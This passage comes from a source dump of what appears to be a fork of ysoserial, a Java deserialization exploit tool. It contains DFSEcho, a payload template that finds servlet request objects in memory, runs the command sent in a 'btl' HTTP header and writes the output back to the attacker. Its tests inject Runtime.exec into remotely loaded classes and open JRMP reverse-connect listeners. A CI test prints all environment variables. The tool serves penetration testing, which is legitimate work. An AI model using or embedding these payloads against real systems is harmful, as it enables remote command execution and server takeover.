| } 65 | }); 66 | } 67 | 68 | public T callWrapped(final Callable callable) throws Exception { 69 | SecurityManager sm = System.getSecurityManager(); // save sm 70 | System.setSecurityManager(this); 71 | try { 72 | T result = callable.call(); 73 | if (throwException && ! getCmds().isEmpty()) { 74 | throw new ExecException(getCmds().get(0)); 75 | } 76 | return result; 77 | } catch (Exception e) { 78 | if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) { 79 | throw new ExecException(getCmds().get(0)); 80 | } else { 81 | throw e; 82 | } 83 | } finally { 84 | System.setSecurityManager(sm); // restore sm 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/template/DFSEcho.java: -------------------------------------------------------------------------------- 1 | package ysoserial.template; 2 | 3 | import javax.servlet.http.HttpServletRequest; 4 | import javax.servlet.http.HttpServletResponse; 5 | import java.io.BufferedReader; 6 | import java.io.InputStream; 7 | import java.io.InputStreamReader; 8 | import java.util.HashSet; 9 | import java.lang.reflect.Array; 10 | import java.lang.reflect.Field; 11 | import java.util.*; 12 | 13 | public class DFSEcho { 14 | 15 | private HashSet set = new HashSet(); 16 | private Object http_request_obj = null; 17 | private Object http_response_obj = null; 18 | private Class http_request_clazz = Class.forName("javax.servlet.http.HttpServletRequest"); 19 | private Class http_response_clazz = Class.forName("javax.servlet.http.HttpServletResponse"); 20 | 21 | public DFSEcho() throws Exception { 22 | http_request_obj = null; 23 | http_response_obj = null; 24 | System.out.println("start search..."); 25 | search(Thread.currentThread()); 26 | System.out.println("Search end..."); 27 | System.out.println(this.http_request_obj); 28 | System.out.println(this.http_response_obj); 29 | if(http_response_clazz.isAssignableFrom(getResponse().getClass()) && http_request_clazz.isAssignableFrom(getRequest().getClass())){ 30 | HttpServletResponse response = (HttpServletResponse) http_response_obj; 31 | HttpServletRequest request = (HttpServletRequest) http_request_obj; 32 | if(request.getHeader("btl") != null){ 33 | Process p= Runtime.getRuntime().exec(request.getHeader("btl")); 34 | InputStream fis=p.getInputStream(); 35 | InputStreamReader isr=new InputStreamReader(fis); 36 | BufferedReader br=new BufferedReader(isr); 37 | String line=null; 38 | while((line=br.readLine())!=null) 39 | { 40 | response.getWriter().println(line); 41 | } 42 | response.getWriter().println("=================================="); 43 | response.getWriter().flush(); 44 | } 45 | } 46 | } 47 | 48 | public Object getRequest(){ 49 | return http_request_obj; 50 | } 51 | public Object getResponse(){ 52 | return http_response_obj; 53 | } 54 | 55 | public void search(Object obj) throws IllegalAccessException { 56 | if (obj == null){ 57 | return; 58 | } 59 | if (http_request_obj != null && http_response_obj != null){ 60 | return; 61 | } 62 | if (obj.getClass().equals(Object.class) ) { 63 | return; 64 | } 65 | if (http_request_clazz.isAssignableFrom(obj.getClass())){ 66 | System.out.println("Found request"); 67 | http_request_obj = obj; 68 | return; 69 | } 70 | if (http_response_clazz.isAssignableFrom(obj.getClass())){ 71 | System.out.println("Found response"); 72 | http_response_obj = obj; 73 | return; 74 | } 75 | if (obj.getClass().isArray()) { 76 | for (int i = 0; i < Array.getLength(obj); i++) { 77 | search(Array.get(obj, i)); 78 | } 79 | } else { 80 | Queue q = getAllFields(obj); 81 | while (!q.isEmpty()) { 82 | Field field = (Field) q.poll(); 83 | field.setAccessible(true); 84 | Object fieldValue = field.get(obj); 85 | if(http_request_clazz.isAssignableFrom(fieldValue.getClass())){ 86 | http_request_obj = fieldValue; 87 | } 88 | else if(http_response_clazz.isAssignableFrom(fieldValue.getClass())){ 89 | http_response_obj = fieldValue; 90 | }else{ 91 | search(fieldValue); 92 | } 93 | 94 | } 95 | } 96 | } 97 | 98 | public Queue getAllFields(Object obj) throws IllegalAccessException { 99 | Queue queue = new LinkedList(); 100 | for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) { 101 | Field[] fields = clazz.getDeclaredFields(); 102 | for (Field f : fields) { 103 | if (f.getType().isPrimitive()) { 104 | continue; 105 | } else if (f.getType().isArray() && f.getType().getComponentType().isPrimitive()) { 106 | continue; 107 | } else { 108 | f.setAccessible(true); 109 | Object fieldValue = f.get(obj); 110 | if (fieldValue != null) { 111 | int hashcode = fieldValue.hashCode(); 112 | if (set.contains(hashcode)) { 113 | } else { 114 | set.add(hashcode); 115 | queue.offer(f); 116 | } 117 | } 118 | } 119 | } 120 | } 121 | return queue; 122 | } 123 | 124 | } 125 | 126 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/CiTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import org.junit.Test; 4 | 5 | public class CiTest { 6 | @Test 7 | public void test() { 8 | System.out.println("System.getProperties(): " + System.getProperties()); 9 | System.out.println("System.getenv(): " + System.getenv()); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/CustomDeserializer.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface CustomDeserializer { 9 | 10 | 11 | Class getCustomDeserializer (); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/CustomPayloadArgs.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface CustomPayloadArgs { 9 | 10 | 11 | String getPayloadArgs (); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/CustomTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test; 2 | 3 | import java.util.concurrent.Callable; 4 | 5 | /** 6 | * @author mbechler 7 | * 8 | */ 9 | public interface CustomTest extends CustomPayloadArgs { 10 | 11 | void run (Callable payload) throws Exception; 12 | } 13 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/WrappedTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test; 2 | 3 | import java.util.concurrent.Callable; 4 | 5 | /** 6 | * @author mbechler 7 | * 8 | */ 9 | public interface WrappedTest extends CustomPayloadArgs { 10 | 11 | Callable createCallable ( Callable innerCallable ); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/exploit/RMIRegistryExploitTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.exploit; 2 | 3 | import java.rmi.RemoteException; 4 | import java.rmi.registry.LocateRegistry; 5 | import java.rmi.registry.Registry; 6 | 7 | public class RMIRegistryExploitTest { 8 | public static void createRegistry(int port) throws RemoteException { 9 | Registry registry = LocateRegistry.createRegistry(port); 10 | } 11 | 12 | public static void main(String[] args) throws RemoteException, InterruptedException { 13 | String portStr = args.length > 0 && args[0] != null ? args[0] : "1099"; 14 | int port = Integer.parseInt(portStr); 15 | createRegistry(port); 16 | while (true) Thread.sleep(1000); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/CommandExecTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | import org.junit.Assert; 4 | import ysoserial.test.CustomTest; 5 | import ysoserial.test.util.Files; 6 | import ysoserial.test.util.OS; 7 | 8 | import java.io.File; 9 | import java.util.UUID; 10 | import java.util.concurrent.Callable; 11 | 12 | public class CommandExecTest implements CustomTest { 13 | private final File testFile = 14 | new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", "")); 15 | 16 | @Override 17 | public void run(Callable payload) throws Exception { 18 | Assert.assertFalse("test file should not exist", testFile.exists()); 19 | try { 20 | payload.call(); 21 | } catch (Exception e) { 22 | e.printStackTrace(); 23 | } 24 | Files.waitForFile(testFile, 5000); 25 | Assert.assertTrue("test file should exist", testFile.exists()); 26 | testFile.deleteOnExit(); 27 | } 28 | 29 | @Override 30 | public String getPayloadArgs() { 31 | switch (OS.get()) { 32 | case OSX: 33 | case LINUX: return "touch " + testFile; 34 | case WINDOWS: return "powershell -command new-item -type file " + testFile; 35 | default: throw new UnsupportedOperationException("unsupported os"); 36 | } 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/FileUploadTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.util.Arrays; 6 | import java.util.concurrent.Callable; 7 | 8 | import org.junit.Assert; 9 | 10 | import com.google.common.io.Files; 11 | 12 | import ysoserial.test.CustomTest; 13 | import ysoserial.test.util.OS; 14 | 15 | /** 16 | * @author mbechler 17 | * 18 | */ 19 | public class FileUploadTest implements CustomTest { 20 | 21 | /** 22 | * 23 | */ 24 | private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF }; 25 | private File source; 26 | private File repo; 27 | 28 | 29 | /** 30 | * 31 | */ 32 | public FileUploadTest () { 33 | try { 34 | source = File.createTempFile("fut", "-source"); 35 | repo = Files.createTempDir(); 36 | } 37 | catch ( IOException e ) { 38 | e.printStackTrace(); 39 | } 40 | } 41 | 42 | 43 | public synchronized void run ( Callable payload ) throws Exception { 44 | try { 45 | Files.write(FDATA, this.source); 46 | Assert.assertTrue(this.source.exists()); 47 | payload.call(); 48 | 49 | File found = null; 50 | for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing 51 | for (File f : this.repo.listFiles()) { 52 | found = f; 53 | break; 54 | } 55 | Thread.sleep(100); 56 | } 57 | Assert.assertNotNull("File not copied", found); 58 | if (OS.get() != OS.WINDOWS) { 59 | // windows' file locking seems to cause this to fail 60 | Assert.assertFalse("Source not deleted", this.source.exists()); 61 | } 62 | Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found))); 63 | } finally { 64 | if ( this.repo.exists()) { 65 | for ( File f : this.repo.listFiles()) { 66 | safeDeleteOnExit(f); 67 | } 68 | safeDeleteOnExit(this.repo); 69 | } 70 | safeDeleteOnExit(this.source); 71 | } 72 | } 73 | 74 | private static void safeDeleteOnExit(File f) { 75 | try { 76 | if (f.exists()) { 77 | f.deleteOnExit(); 78 | } 79 | } catch (Exception e) { 80 | e.printStackTrace(); 81 | } 82 | } 83 | 84 | public String getPayloadArgs () { 85 | return "copyAndDelete;" + this.source.getAbsolutePath() + ";" + this.repo.getAbsolutePath(); 86 | } 87 | 88 | } 89 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | 4 | import java.net.URL; 5 | import java.util.concurrent.Callable; 6 | 7 | import ysoserial.test.WrappedTest; 8 | import ysoserial.exploit.JRMPListener; 9 | 10 | 11 | /** 12 | * @author mbechler 13 | * 14 | */ 15 | public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest { 16 | 17 | private int jrmpPort; 18 | 19 | 20 | public JRMPReverseConnectSMTest (String command) { 21 | super(command); 22 | // some payloads cannot specify the port 23 | jrmpPort = 1099; 24 | } 25 | 26 | 27 | 28 | 29 | 30 | /** 31 | * {@inheritDoc} 32 | * 33 | * @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable) 34 | */ 35 | @Override 36 | public Callable createCallable ( final Callable innerCallable ) { 37 | return super.createCallable(new Callable() { 38 | public Object call () throws Exception { 39 | JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/")); 40 | Thread t = new Thread(l, "JRMP listener"); 41 | try { 42 | t.start(); 43 | Object res = innerCallable.call(); 44 | l.waitFor(1000); 45 | return res; 46 | } 47 | finally { 48 | l.close(); 49 | t.interrupt(); 50 | t.join(); 51 | } 52 | } 53 | }); 54 | } 55 | 56 | @Override 57 | public String getPayloadArgs () { 58 | return "localhost:" + jrmpPort; 59 | } 60 | 61 | 62 | 63 | 64 | } 65 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | 4 | import java.util.concurrent.Callable; 5 | 6 | import javax.management.BadAttributeValueExpException; 7 | 8 | import org.junit.Assert; 9 | 10 | import ysoserial.test.CustomTest; 11 | import ysoserial.exploit.JRMPListener; 12 | 13 | 14 | /** 15 | * @author mbechler 16 | * 17 | */ 18 | public class JRMPReverseConnectTest implements CustomTest { 19 | 20 | private int port; 21 | 22 | 23 | /** 24 | * 25 | */ 26 | public JRMPReverseConnectTest () { 27 | // some payloads cannot specify the port 28 | port = 1099; 29 | } 30 | 31 | 32 | public void run ( Callable payload ) throws Exception { 33 | JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); 34 | Thread t = new Thread(l, "JRMP listener"); 35 | try { 36 | t.start(); 37 | try { 38 | payload.call(); 39 | } 40 | catch ( Exception e ) { 41 | // ignore 42 | } 43 | Assert.assertTrue("Did not have connection", l.waitFor(1000)); 44 | } 45 | finally { 46 | l.close(); 47 | t.interrupt(); 48 | t.join(); 49 | } 50 | } 51 | 52 | 53 | public String getPayloadArgs () { 54 | return "rmi:localhost:" + port; 55 | } 56 | 57 | } 58 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | 4 | import java.io.ByteArrayInputStream; 5 | import java.io.IOException; 6 | import java.io.Serializable; 7 | import java.util.Random; 8 | import java.util.concurrent.Callable; 9 | 10 | import fi.iki.elonen.NanoHTTPD; 11 | import fi.iki.elonen.NanoHTTPD.Response.Status; 12 | import javassist.ClassClassPath; 13 | import javassist.ClassPool; 14 | import javassist.CtClass; 15 | import ysoserial.test.WrappedTest; 16 | 17 | 18 | /** 19 | * @author mbechler 20 | * 21 | */ 22 | public class RemoteClassLoadingTest implements WrappedTest { 23 | 24 | int port; 25 | private String command; 26 | private String className; 27 | 28 | public RemoteClassLoadingTest ( String command ) { 29 | this.command = command; 30 | this.port = new Random().nextInt(65535-1024)+1024; 31 | this.className = "Exploit-" + System.currentTimeMillis(); 32 | } 33 | 34 | 35 | public String getPayloadArgs () { 36 | return String.format("http://localhost:%d/", this.port) + ":" + this.className; 37 | } 38 | 39 | public int getHTTPPort () { 40 | return this.port; 41 | } 42 | 43 | public Callable createCallable ( Callable innerCallable ) { 44 | return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); 45 | } 46 | 47 | public String getExploitClassName () { 48 | return this.className; 49 | } 50 | 51 | protected byte[] makePayloadClass () { 52 | try { 53 | ClassPool pool = ClassPool.getDefault(); 54 | pool.insertClassPath(new ClassClassPath(Exploit.class)); 55 | final CtClass clazz = pool.get(Exploit.class.getName()); 56 | clazz.setName(this.className); 57 | clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); 58 | return clazz.toBytecode(); 59 | } 60 | catch ( Exception e ) { 61 | e.printStackTrace(); 62 | return new byte[0]; 63 | } 64 | } 65 | 66 | static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { 67 | 68 | private Callable innerCallable; 69 | private byte[] data; 70 | private Object waitLock = new Object(); 71 | 72 | 73 | public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable innerCallable ) { 74 | super(port); 75 | this.data = data; 76 | this.innerCallable = innerCallable; 77 | 78 | } 79 | 80 | 81 | public void waitFor() throws InterruptedException { 82 | synchronized ( this.waitLock ) { 83 | this.waitLock.wait(1000); 84 | } 85 | } 86 | 87 | 88 | public Object call () throws Exception { 89 | try { 90 | setup(); 91 | Object res = this.innerCallable.call(); 92 | waitFor(); 93 | Thread.sleep(1000); 94 | return res; 95 | } 96 | finally { 97 | cleanup(); 98 | } 99 | 100 | } 101 | 102 | private void setup () throws IOException { 103 | start(NanoHTTPD.SOCKET_READ_TIMEOUT, false); 104 | } 105 | 106 | 107 | private void cleanup () { 108 | stop(); 109 | } 110 | 111 | 112 | @Override 113 | public Response serve ( IHTTPSession sess ) { 114 | System.out.println("Serving " + sess.getUri()); 115 | Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); 116 | synchronized ( this.waitLock ) { 117 | this.waitLock.notify(); 118 | } 119 | return response; 120 | } 121 | 122 | } 123 | 124 | 125 | 126 | public static class Exploit implements Serializable { 127 | 128 | private static final long serialVersionUID = 1L; 129 | 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/TestHarnessTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | import java.io.IOException; 4 | import java.io.ObjectInputStream; 5 | import java.io.Serializable; 6 | 7 | import org.hamcrest.CoreMatchers; 8 | import org.junit.Assert; 9 | import org.junit.Test; 10 | import ysoserial.payloads.ObjectPayload; 11 | 12 | public class TestHarnessTest { 13 | // make sure test harness fails properly 14 | @Test 15 | public void testHarnessExecFail() throws Exception { 16 | try { 17 | PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]); 18 | Assert.fail("should have failed"); 19 | } catch (AssertionError e) { 20 | Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist")); 21 | 22 | } 23 | } 24 | 25 | // make sure test harness fails properly 26 | @Test 27 | public void testHarnessClassLoaderFail() throws Exception { 28 | try { 29 | PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]); 30 | Assert.fail("should have failed"); 31 | } catch (AssertionError e) { 32 | //Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); 33 | } 34 | } 35 | 36 | // make sure test harness passes properly with trivial execution gadget 37 | @Test 38 | public void testHarnessExecPass() throws Exception { 39 | PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class }); 40 | } 41 | 42 | public static class ExecMockPayload implements ObjectPayload { 43 | public ExecMockSerializable getObject(String command) throws Exception { 44 | return new ExecMockSerializable(command); 45 | } 46 | } 47 | 48 | public static class NoopMockPayload implements ObjectPayload { 49 | public Integer getObject(String command) throws Exception { 50 | return 1; 51 | } 52 | } 53 | 54 | @SuppressWarnings("serial") 55 | public static class ExecMockSerializable implements Serializable { 56 | private final String cmd; 57 | public ExecMockSerializable(String cmd) { this.cmd = cmd; } 58 | 59 | private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException { 60 | ois.defaultReadObject(); 61 | try { 62 | Runtime.getRuntime().exec(cmd); 63 | } catch (IOException e) { 64 | throw new RuntimeException(e); 65 | } 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/util/Callables.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.util; 2 | 3 | import java.util.concurrent.Callable; 4 | 5 | public class Callables { 6 | public static interface BeforeAfterCallback { 7 | public void before(); 8 | public void after(); 9 | } 10 | 11 | public static class Wrapper implements Callable { 12 | private final Callable callable; 13 | private final BeforeAfterCallback callback; 14 | 15 | public Wrapper(Callable callable, BeforeAfterCallback callback) { 16 | this.callable = callable; 17 | this.callback = callback; 18 | } 19 | 20 | @Override 21 | public T call() throws Exception { 22 | try { 23 | callback.before(); 24 | return callable.call(); 25 | } finally { 26 | callback.after(); 27 | } 28 | } 29 | } 30 | 31 | public static Callable wrap(Callable callable, BeforeAfterCallback callback) { 32 | return new Wrapper(callable, callback); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/util/Files.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.util; 2 | 3 | import java.io.File; 4 | 5 | public class Files { 6 | public static void waitForFile(File file, int timeoutMs) throws InterruptedException { 7 | long timeout = System.currentTimeMillis() + timeoutMs; 8 | while (! file.exists() && System.currentTimeMillis() < timeout) { 9 | Thread.sleep(10); 10 | } 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/util/GadgetsTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.util; 2 | 3 | import org.junit.Test; 4 | import ysoserial.payloads.util.Gadgets; 5 | 6 | public class GadgetsTest { 7 | @Test 8 | public void test_createTemplatesImpl_noCompilationError() throws Exception { 9 | Gadgets.createTemplatesImpl("hostname"); 10 | Gadgets.createTemplatesImpl("echo 'foobar'"); 11 | Gadgets.createTemplatesImpl("echo \"foobar\""); 12 | Gadgets.createTemplatesImpl("\"`';\\"); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/util/OS.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.util; 2 | 3 | public enum OS { 4 | WINDOWS, 5 | LINUX, 6 | OSX, 7 | OTHER; 8 | 9 | private static final OS os = determineOs(); 10 | 11 | public static OS get() { 12 | return os; 13 | } 14 | 15 | private static OS determineOs() { 16 | String osName = System.getProperty("os.name", "other").toLowerCase(); 17 | if (osName.contains("windows")) { 18 | return WINDOWS; 19 | } else if (osName.contains("mac os x")) { 20 | return OSX; 21 | } else if (osName.contains("linux")) { 22 | return LINUX; 23 | } else { 24 | return OTHER; 25 | } 26 | } 27 | 28 | public static String getTmpDir() { 29 | return System.getProperty("java.io.tmpdir"); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/util/Throwables.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.util; 2 | 3 | public class Throwables { 4 | public static Throwable getInnermostCause(final Throwable t) { 5 | final Throwable cause = t.getCause(); 6 | return cause == null || cause == t ? t : getInnermostCause(cause); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /ysoserial.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/webraybtl/ysoserialbtl/a73137ddeaa274ac57e602ae0ad6b9ccd8071571/ysoserial.png --------------------------------------------------------------------------------